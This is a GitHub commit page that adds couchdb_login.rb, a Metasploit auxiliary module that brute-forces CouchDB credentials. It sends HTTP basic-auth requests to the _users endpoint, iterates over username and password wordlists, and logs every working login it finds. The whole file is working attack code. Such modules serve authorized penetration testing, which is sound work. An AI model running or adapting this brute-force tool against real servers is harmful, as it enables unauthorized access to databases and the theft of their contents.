Skip to content

Commit 7a7f4a1

Browse files
committed
Added couchdb_login.rb to try to brute-force credentials of CouchDB
1 parent 3d5eb24 commit 7a7f4a1

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Auxiliary
4+
5+
include Msf::Exploit::Remote::HttpClient
6+
include Msf::Auxiliary::Report
7+
include Msf::Auxiliary::AuthBrute
8+
include Msf::Auxiliary::Scanner
9+
10+
def initialize(info={})
11+
super(update_info(info,
12+
'Name' => 'CouchDB Login Utility',
13+
'Description' => %{
14+
This module attempts brute force to login to a CouchDB.
15+
},
16+
'Author' =>
17+
[
18+
'espreto <robertoespreto[at]gmail.com>'
19+
],
20+
'License' => MSF_LICENSE
21+
))
22+
23+
register_options(
24+
[
25+
Opt::RPORT(5984),
26+
OptString.new('TARGETURI', [true, "TARGETURI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
27+
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
28+
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
29+
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
30+
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
31+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
32+
File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
33+
], self.class)
34+
end
35+
36+
def run_host(ip)
37+
38+
user = datastore['USERNAME'].to_s
39+
pass = datastore['PASSWORD'].to_s
40+
41+
vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")
42+
43+
res = send_request_cgi({
44+
'uri' => normalize_uri(datastore['TARGETURI']),
45+
'method' => 'GET',
46+
'authorization' => basic_auth(user, pass)
47+
})
48+
49+
return if res.nil?
50+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
51+
return if (res.code == 404)
52+
53+
if [200, 301, 302].include?(res.code)
54+
vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
55+
else
56+
vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
57+
print_status("Brute-forcing... >:-} ")
58+
each_user_pass do |user, pass|
59+
do_login(user, pass)
60+
end
61+
end
62+
rescue ::Rex::ConnectionError
63+
vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
64+
end
65+
66+
def do_login(user, pass)
67+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
68+
begin
69+
res = send_request_cgi(
70+
{
71+
'uri' => normalize_uri(datastore['TARGETURI']),
72+
'method' => 'GET',
73+
'ctype' => 'text/plain',
74+
'authorization' => basic_auth(user, pass)
75+
})
76+
77+
if res and res.code != 200
78+
vprint_error("#{rhost}:#{rport} - Failed login with. '#{user}' : '#{pass}' with code #{res.code}")
79+
return :skip_pass
80+
else
81+
vprint_good("#{rhost}:#{rport} - Successful login with. '#{user}' : '#{pass}'")
82+
83+
report_hash = {
84+
:host => datastore['RHOST'],
85+
:port => datastore['RPORT'],
86+
:sname => 'couchdb',
87+
:user => user,
88+
:pass => pass,
89+
:active => true,
90+
:type => 'password'}
91+
92+
report_auth_info(report_hash)
93+
return :next_user
94+
end
95+
96+
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
97+
print_error("HTTP Connection Failed, Aborting")
98+
return :abort
99+
end
100+
rescue ::Exception => e
101+
print_error("Error: #{e.to_s}")
102+
return nil
103+
end
104+
end

0 commit comments

Comments
 (0)